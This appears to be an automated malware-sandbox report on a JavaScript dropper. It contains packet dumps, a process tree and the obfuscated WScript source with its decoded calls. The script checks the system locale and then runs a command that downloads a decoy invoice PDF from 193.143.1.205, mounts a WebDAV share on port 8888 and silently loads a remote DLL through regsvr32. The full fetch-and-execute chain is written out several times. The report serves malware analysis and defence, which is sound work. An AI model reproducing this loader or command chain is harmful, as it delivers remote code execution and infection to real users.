Jan 10, 2025 22:01:37.097115993 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:01:37.097127914 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:01:37.097142935 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:01:37.097162008 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 22:01:37.097183943 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 22:01:37.097196102 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 22:01:37.102015972 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7860	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:01:38.710808992 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:01:39.476667881 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:01:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:01:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js"
Imagebase:	0x7ff708aa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:01:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll
Imagebase:	0x7ff73c6d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:01:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:01:32
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:01:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:01:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73c6d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:01:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66eff0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:01:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:01:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:01:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1644,i,12496588362845181139,9270830827004441692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hntgqxn() {	hntgqxn() ➔ undefined
1	hgqrw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rovrnktk = this[ljdfvg + igtzzbjr + tyixrxcd + chawy + ulpdtt + misja + npxryjlp + bdidc] ( this[onlxc + vfzniaokr + sylrf + tyixrxcd + bzfbiglya + ljdfvg + bdidc][vahyj + tyixrxcd + ulpdtt + igtzzbjr + bdidc + ulpdtt + xhjup + iqkwvhkh + vfgaja + ulpdtt + sylrf + bdidc] ( onlxc + vfzniaokr + sylrf + tyixrxcd + bzfbiglya + ljdfvg + bdidc + vnvfnf + vfzniaokr + mhqtxbjfj + ulpdtt + cdkudi + cdkudi ) [vkpeebur + ulpdtt + capyodcja + vkpeebur + ulpdtt + igtzzbjr + vmlwl] ( mclndvm + pvprprm + zuvkcd + qiwmnfz + bxwjqrxl + vahyj + kyusgtsgp + vkpeebur + vkpeebur + zuvkcd + zwgpi + qutssgg + bxwjqrxl + kyusgtsgp + vfzniaokr + zuvkcd + vkpeebur + mgdos + vahyj + erqqwtqeh + npxryjlp + bdidc + tyixrxcd + erqqwtqeh + cdkudi + sqtwckdg + mlqggj + igtzzbjr + npxryjlp + ulpdtt + cdkudi + mgdos + misja + npxryjlp + bdidc + ulpdtt + tyixrxcd + npxryjlp + igtzzbjr + bdidc + bzfbiglya + erqqwtqeh + npxryjlp + igtzzbjr + cdkudi + mgdos + xkrnrgrfo + erqqwtqeh + sylrf + igtzzbjr + cdkudi + ulpdtt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( muqmupulg = 0 ; muqmupulg < hgqrw[cdkudi + ulpdtt + npxryjlp + capyodcja + bdidc + mhqtxbjfj] ; ++ muqmupulg )
4	{
5	if ( rovrnktk == hgqrw[muqmupulg] )
6	{
7	rovrnktk = true;
8	break ;
9	}
10	}
11	if ( rovrnktk !== true )
12	this[onlxc + vfzniaokr + sylrf + tyixrxcd + bzfbiglya + ljdfvg + bdidc][ffxpft + qggsgurv + bzfbiglya + bdidc] ( );
13	this[onlxc + vfzniaokr + sylrf + tyixrxcd + bzfbiglya + ljdfvg + bdidc][vahyj + tyixrxcd + ulpdtt + igtzzbjr + bdidc + ulpdtt + xhjup + iqkwvhkh + vfgaja + ulpdtt + sylrf + bdidc] ( onlxc + vfzniaokr + sylrf + tyixrxcd + bzfbiglya + ljdfvg + bdidc + vnvfnf + vfzniaokr + mhqtxbjfj + ulpdtt + cdkudi + cdkudi ) [tyixrxcd + qggsgurv + npxryjlp] ( sylrf + xznkpod + vmlwl + sqtwckdg + icekm + sylrf + sqtwckdg + ljdfvg + erqqwtqeh + ybntitqz + ulpdtt + tyixrxcd + chawy + mhqtxbjfj + ulpdtt + cdkudi + cdkudi + vnvfnf + ulpdtt + xmfszxced + ulpdtt + sqtwckdg + wzjyjwdqa + vahyj + erqqwtqeh + xznkpod + xznkpod + igtzzbjr + npxryjlp + vmlwl + sqtwckdg + kceqxew + misja + npxryjlp + ieeprcha + erqqwtqeh + xyepzm + ulpdtt + wzjyjwdqa + onlxc + ulpdtt + iqkwvhkh + vkpeebur + ulpdtt + burmxcr + qggsgurv + ulpdtt + chawy + bdidc + sqtwckdg + wzjyjwdqa + xhjup + qggsgurv + bdidc + sdsbs + bzfbiglya + cdkudi + ulpdtt + sqtwckdg + ntujvphcc + bdidc + ulpdtt + xznkpod + ljdfvg + ntujvphcc + mgdos + bzfbiglya + npxryjlp + ieeprcha + erqqwtqeh + bzfbiglya + sylrf + ulpdtt + vnvfnf + ljdfvg + vmlwl + trreptvv + sqtwckdg + mhqtxbjfj + bdidc + bdidc + ljdfvg + jpvzznrd + icekm + icekm + lmbyxs + pmbogl + bvgcye + vnvfnf + lmbyxs + jrgas + bvgcye + vnvfnf + lmbyxs + vnvfnf + kjozqo + zmkvzxsz + vkqbsis + icekm + bzfbiglya + npxryjlp + ieeprcha + erqqwtqeh + bzfbiglya + sylrf + ulpdtt + vnvfnf + ljdfvg + mhqtxbjfj + ljdfvg + kceqxew + skgqazou + skgqazou + chawy + bdidc + igtzzbjr + tyixrxcd + bdidc + sqtwckdg + ntujvphcc + bdidc + ulpdtt + xznkpod + ljdfvg + ntujvphcc + mgdos + bzfbiglya + npxryjlp + ieeprcha + erqqwtqeh + bzfbiglya + sylrf + ulpdtt + vnvfnf + ljdfvg + vmlwl + trreptvv + skgqazou + skgqazou + sylrf + xznkpod + vmlwl + sqtwckdg + icekm + sylrf + sqtwckdg + npxryjlp + ulpdtt + bdidc + sqtwckdg + qggsgurv + chawy + ulpdtt + sqtwckdg + mgdos + mgdos + lmbyxs + pmbogl + bvgcye + vnvfnf + lmbyxs + jrgas + bvgcye + vnvfnf + lmbyxs + vnvfnf + kjozqo + zmkvzxsz + vkqbsis + crvgoljbu + kabye + kabye + kabye + kabye + mgdos + vmlwl + igtzzbjr + ieeprcha + ybntitqz + ybntitqz + ybntitqz + tyixrxcd + erqqwtqeh + erqqwtqeh + bdidc + mgdos + skgqazou + skgqazou + sylrf + xznkpod + vmlwl + sqtwckdg + icekm + sylrf + sqtwckdg + tyixrxcd + ulpdtt + capyodcja + chawy + ieeprcha + tyixrxcd + bvgcye + kjozqo + sqtwckdg + icekm + chawy + sqtwckdg + mgdos + mgdos + lmbyxs + pmbogl + bvgcye + vnvfnf + lmbyxs + jrgas + bvgcye + vnvfnf + lmbyxs + vnvfnf + kjozqo + zmkvzxsz + vkqbsis + crvgoljbu + kabye + kabye + kabye + kabye + mgdos + vmlwl + igtzzbjr + ieeprcha + ybntitqz + ybntitqz + ybntitqz + tyixrxcd + erqqwtqeh + erqqwtqeh + bdidc + mgdos + lmbyxs + jrgas + bvgcye + qgbmroanq + rkktve + lmbyxs + lmbyxs + zmkvzxsz + kabye + jrgas + kjozqo + pmbogl + vkqbsis + bvgcye + vkqbsis + vnvfnf + vmlwl + cdkudi + cdkudi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll",0,false) ➔ 0
14	}
15	ulpdtt = "g";
16	ulpdtt = "U";
17	ulpdtt = "s";
18	ulpdtt = "J";
19	ulpdtt = "N";
20	ulpdtt = "X";
21	ulpdtt = "T";
22	ulpdtt = "s";
23	ulpdtt = "V";
24	ulpdtt = "O";
25	ulpdtt = "v";
26	ulpdtt = "i";
27	ulpdtt = "Y";
28	ulpdtt = "p";
29	ulpdtt = "D";
30	ulpdtt = "D";
31	ulpdtt = "X";
32	ulpdtt = "B";
33	ulpdtt = "W";
34	ulpdtt = "W";
35	ulpdtt = "L";
36	ulpdtt = "e";
37	erqqwtqeh = "C";
38	erqqwtqeh = "m";
39	erqqwtqeh = "o";
40	erqqwtqeh = "z";
41	erqqwtqeh = "S";
42	erqqwtqeh = "y";
43	erqqwtqeh = "R";
44	erqqwtqeh = "n";
45	erqqwtqeh = "k";
46	erqqwtqeh = "R";
47	erqqwtqeh = "E";
48	erqqwtqeh = "c";
49	erqqwtqeh = "K";
50	erqqwtqeh = "v";
51	erqqwtqeh = "C";
52	erqqwtqeh = "g";
53	erqqwtqeh = "R";
54	erqqwtqeh = "H";
55	erqqwtqeh = "d";
56	erqqwtqeh = "p";
57	erqqwtqeh = "R";
58	erqqwtqeh = "s";
59	erqqwtqeh = "l";
60	erqqwtqeh = "x";
61	erqqwtqeh = "V";
62	erqqwtqeh = "X";
63	erqqwtqeh = "d";
64	erqqwtqeh = "Q";
65	erqqwtqeh = "f";
66	erqqwtqeh = "b";
67	erqqwtqeh = "x";
68	erqqwtqeh = "o";
69	chawy = "W";
70	chawy = "s";
71	jpvzznrd = "b";
72	jpvzznrd = "n";
73	jpvzznrd = "H";
74	jpvzznrd = "O";
75	jpvzznrd = "v";
76	jpvzznrd = "q";
77	jpvzznrd = "y";
78	jpvzznrd = "p";
79	jpvzznrd = "A";
80	jpvzznrd = "o";
81	jpvzznrd = "M";
82	jpvzznrd = "m";
83	jpvzznrd = "U";
84	jpvzznrd = "X";
85	jpvzznrd = "a";
86	jpvzznrd = "N";
87	jpvzznrd = "h";
88	jpvzznrd = "U";
89	jpvzznrd = "F";
90	jpvzznrd = "d";
91	jpvzznrd = "K";
92	jpvzznrd = "D";
93	jpvzznrd = "d";
94	jpvzznrd = "m";
95	jpvzznrd = "B";
96	jpvzznrd = "T";
97	jpvzznrd = "c";
98	jpvzznrd = "G";
99	jpvzznrd = ":";
100	kyusgtsgp = "s";
101	kyusgtsgp = "P";
102	kyusgtsgp = "t";
103	kyusgtsgp = "U";
104	cdkudi = "P";
105	cdkudi = "i";
106	cdkudi = "S";
107	cdkudi = "q";
108	cdkudi = "s";
109	cdkudi = "r";
110	cdkudi = "u";
111	cdkudi = "z";
112	cdkudi = "J";
113	cdkudi = "t";
114	cdkudi = "E";
115	cdkudi = "w";
116	cdkudi = "j";
117	cdkudi = "J";
118	cdkudi = "n";
119	cdkudi = "N";
120	cdkudi = "K";
121	cdkudi = "X";
122	cdkudi = "Q";
123	cdkudi = "q";
124	cdkudi = "Y";
125	cdkudi = "I";
126	cdkudi = "Q";
127	cdkudi = "l";
128	cdkudi = "W";
129	cdkudi = "R";
130	cdkudi = "v";
131	cdkudi = "c";
132	cdkudi = "i";
133	cdkudi = "r";
134	cdkudi = "B";
135	cdkudi = "U";
136	cdkudi = "X";
137	cdkudi = "l";
138	trreptvv = "I";
139	trreptvv = "c";
140	trreptvv = "n";
141	trreptvv = "u";
142	trreptvv = "k";
143	trreptvv = "j";
144	trreptvv = "v";
145	trreptvv = "W";
146	trreptvv = "C";
147	trreptvv = "c";
148	trreptvv = "m";
149	trreptvv = "w";
150	trreptvv = "E";
151	trreptvv = "o";
152	trreptvv = "H";
153	trreptvv = "q";
154	trreptvv = "c";
155	trreptvv = "g";
156	trreptvv = "F";
157	trreptvv = "c";
158	trreptvv = "V";
159	trreptvv = "H";
160	trreptvv = "m";
161	trreptvv = "X";
162	trreptvv = "d";
163	trreptvv = "n";
164	trreptvv = "N";
165	trreptvv = "P";
166	trreptvv = "Q";
167	trreptvv = "Y";
168	trreptvv = "w";
169	trreptvv = "O";
170	trreptvv = "f";
171	vfzniaokr = "K";
172	vfzniaokr = "o";
173	vfzniaokr = "G";
174	vfzniaokr = "z";
175	vfzniaokr = "f";
176	vfzniaokr = "j";
177	vfzniaokr = "z";
178	vfzniaokr = "j";
179	vfzniaokr = "W";
180	vfzniaokr = "C";
181	vfzniaokr = "j";
182	vfzniaokr = "J";
183	vfzniaokr = "V";
184	vfzniaokr = "C";
185	vfzniaokr = "q";
186	vfzniaokr = "K";
187	vfzniaokr = "A";
188	vfzniaokr = "r";
189	vfzniaokr = "r";
190	vfzniaokr = "d";
191	vfzniaokr = "K";
192	vfzniaokr = "J";
193	vfzniaokr = "q";
194	vfzniaokr = "d";
195	vfzniaokr = "S";
196	vfzniaokr = "X";
197	vfzniaokr = "w";
198	vfzniaokr = "i";
199	vfzniaokr = "Y";
200	vfzniaokr = "S";
201	vfzniaokr = "A";
202	vfzniaokr = "v";
203	vfzniaokr = "h";
204	vfzniaokr = "S";
205	lmbyxs = "1";
206	ffxpft = "l";
207	ffxpft = "L";
208	ffxpft = "R";
209	ffxpft = "p";
210	ffxpft = "P";
211	ffxpft = "Y";
212	ffxpft = "O";
213	ffxpft = "o";
214	ffxpft = "G";
215	ffxpft = "O";
216	ffxpft = "I";
217	ffxpft = "X";
218	ffxpft = "w";
219	ffxpft = "m";
220	ffxpft = "i";
221	ffxpft = "v";
222	ffxpft = "h";
223	ffxpft = "B";
224	ffxpft = "q";
225	ffxpft = "z";
226	ffxpft = "H";
227	ffxpft = "S";
228	ffxpft = "L";
229	ffxpft = "t";
230	ffxpft = "p";
231	ffxpft = "e";
232	ffxpft = "Q";
233	mhqtxbjfj = "E";
234	mhqtxbjfj = "M";
235	mhqtxbjfj = "e";
236	mhqtxbjfj = "Q";
237	mhqtxbjfj = "c";
238	mhqtxbjfj = "D";
239	mhqtxbjfj = "F";
240	mhqtxbjfj = "M";
241	mhqtxbjfj = "S";
242	mhqtxbjfj = "U";
243	mhqtxbjfj = "n";
244	mhqtxbjfj = "h";
245	burmxcr = "A";
246	burmxcr = "x";
247	burmxcr = "H";
248	burmxcr = "q";
249	mlqggj = "O";
250	mlqggj = "T";
251	mlqggj = "l";
252	mlqggj = "r";
253	mlqggj = "j";
254	mlqggj = "y";
255	mlqggj = "I";
256	mlqggj = "s";
257	mlqggj = "f";
258	mlqggj = "A";
259	mlqggj = "A";
260	mlqggj = "S";
261	mlqggj = "k";
262	mlqggj = "z";
263	mlqggj = "r";
264	mlqggj = "A";
265	mlqggj = "z";
266	mlqggj = "w";
267	mlqggj = "F";
268	mlqggj = "H";
269	mlqggj = "O";
270	mlqggj = "Y";
271	mlqggj = "O";
272	mlqggj = "D";
273	mlqggj = "l";
274	mlqggj = "y";
275	mlqggj = "N";
276	mlqggj = "f";
277	mlqggj = "a";
278	mlqggj = "j";
279	mlqggj = "i";
280	mlqggj = "N";
281	mlqggj = "O";
282	mlqggj = "u";
283	mlqggj = "s";
284	mlqggj = "x";
285	mlqggj = "O";
286	mlqggj = "C";
287	mlqggj = "J";
288	mlqggj = "e";
289	mlqggj = "K";
290	mlqggj = "Y";
291	mlqggj = "p";
292	mlqggj = "L";
293	mlqggj = "P";
294	mclndvm = "p";
295	mclndvm = "G";
296	mclndvm = "x";
297	mclndvm = "h";
298	mclndvm = "o";
299	mclndvm = "Y";
300	mclndvm = "Y";
301	mclndvm = "j";
302	mclndvm = "z";
303	mclndvm = "H";
304	mclndvm = "t";
305	mclndvm = "k";
306	mclndvm = "H";
307	qutssgg = "l";
308	qutssgg = "v";
309	qutssgg = "C";
310	qutssgg = "C";
311	qutssgg = "Z";
312	qutssgg = "S";
313	qutssgg = "z";
314	qutssgg = "C";
315	qutssgg = "R";
316	qutssgg = "d";
317	qutssgg = "d";
318	qutssgg = "P";
319	qutssgg = "q";
320	qutssgg = "w";
321	qutssgg = "K";
322	qutssgg = "Y";
323	qutssgg = "J";
324	qutssgg = "Z";
325	qutssgg = "t";
326	qutssgg = "k";
327	qutssgg = "v";
328	qutssgg = "Q";
329	qutssgg = "H";
330	qutssgg = "d";
331	qutssgg = "u";
332	qutssgg = "D";
333	qutssgg = "Q";
334	qutssgg = "g";
335	qutssgg = "m";
336	qutssgg = "Y";
337	qutssgg = "X";
338	qutssgg = "p";
339	qutssgg = "C";
340	qutssgg = "k";
341	qutssgg = "z";
342	qutssgg = "n";
343	qutssgg = "z";
344	qutssgg = "R";
345	qutssgg = "T";
346	wzjyjwdqa = "p";
347	wzjyjwdqa = "k";
348	wzjyjwdqa = "W";
349	wzjyjwdqa = "Q";
350	wzjyjwdqa = "T";
351	wzjyjwdqa = "v";
352	wzjyjwdqa = "a";
353	wzjyjwdqa = "l";
354	wzjyjwdqa = "U";
355	wzjyjwdqa = "b";
356	wzjyjwdqa = "l";
357	wzjyjwdqa = "P";
358	wzjyjwdqa = "u";
359	wzjyjwdqa = "C";
360	wzjyjwdqa = "y";
361	wzjyjwdqa = "o";
362	wzjyjwdqa = "V";
363	wzjyjwdqa = "-";
364	jrgas = "l";
365	jrgas = "a";
366	jrgas = "B";
367	jrgas = "y";
368	jrgas = "c";
369	jrgas = "m";
370	jrgas = "H";
371	jrgas = "a";
372	jrgas = "h";
373	jrgas = "b";
374	jrgas = "I";
375	jrgas = "G";
376	jrgas = "o";
377	jrgas = "o";
378	jrgas = "B";
379	jrgas = "s";
380	jrgas = "A";
381	jrgas = "4";
382	xyepzm = "Q";
383	xyepzm = "P";
384	xyepzm = "n";
385	xyepzm = "J";
386	xyepzm = "Y";
387	xyepzm = "k";
388	xyepzm = "f";
389	xyepzm = "O";
390	xyepzm = "a";
391	xyepzm = "k";
392	ntujvphcc = "d";
393	ntujvphcc = "Q";
394	ntujvphcc = "D";
395	ntujvphcc = "m";
396	ntujvphcc = "f";
397	ntujvphcc = "t";
398	ntujvphcc = "m";
399	ntujvphcc = "a";
400	ntujvphcc = "q";
401	ntujvphcc = "j";
402	ntujvphcc = "I";
403	ntujvphcc = "G";
404	ntujvphcc = "E";
405	ntujvphcc = "%";
406	zmkvzxsz = "D";
407	zmkvzxsz = "f";
408	zmkvzxsz = "P";
409	zmkvzxsz = "Z";
410	zmkvzxsz = "D";
411	zmkvzxsz = "O";
412	zmkvzxsz = "g";
413	zmkvzxsz = "L";
414	zmkvzxsz = "B";
415	zmkvzxsz = "L";
416	zmkvzxsz = "Q";
417	zmkvzxsz = "P";
418	zmkvzxsz = "X";
419	zmkvzxsz = "B";
420	zmkvzxsz = "R";
421	zmkvzxsz = "P";
422	zmkvzxsz = "U";
423	zmkvzxsz = "x";
424	zmkvzxsz = "k";
425	zmkvzxsz = "m";
426	zmkvzxsz = "A";
427	zmkvzxsz = "P";
428	zmkvzxsz = "l";
429	zmkvzxsz = "P";
430	zmkvzxsz = "c";
431	zmkvzxsz = "R";
432	zmkvzxsz = "i";
433	zmkvzxsz = "z";
434	zmkvzxsz = "C";
435	zmkvzxsz = "p";
436	zmkvzxsz = "H";
437	zmkvzxsz = "f";
438	zmkvzxsz = "z";
439	zmkvzxsz = "H";
440	zmkvzxsz = "L";
441	zmkvzxsz = "m";
442	zmkvzxsz = "s";
443	zmkvzxsz = "s";
444	zmkvzxsz = "U";
445	zmkvzxsz = "0";
446	qgbmroanq = "u";
447	qgbmroanq = "6";
448	ljdfvg = "j";
449	ljdfvg = "W";
450	ljdfvg = "r";
451	ljdfvg = "G";
452	ljdfvg = "X";
453	ljdfvg = "m";
454	ljdfvg = "g";
455	ljdfvg = "Q";
456	ljdfvg = "o";
457	ljdfvg = "b";
458	ljdfvg = "m";
459	ljdfvg = "p";
460	qggsgurv = "N";
461	qggsgurv = "c";
462	qggsgurv = "x";
463	qggsgurv = "d";
464	qggsgurv = "s";
465	qggsgurv = "V";
466	qggsgurv = "n";
467	qggsgurv = "Z";
468	qggsgurv = "M";
469	qggsgurv = "B";
470	qggsgurv = "S";
471	qggsgurv = "w";
472	qggsgurv = "D";
473	qggsgurv = "t";
474	qggsgurv = "G";
475	qggsgurv = "Z";
476	qggsgurv = "S";
477	qggsgurv = "N";
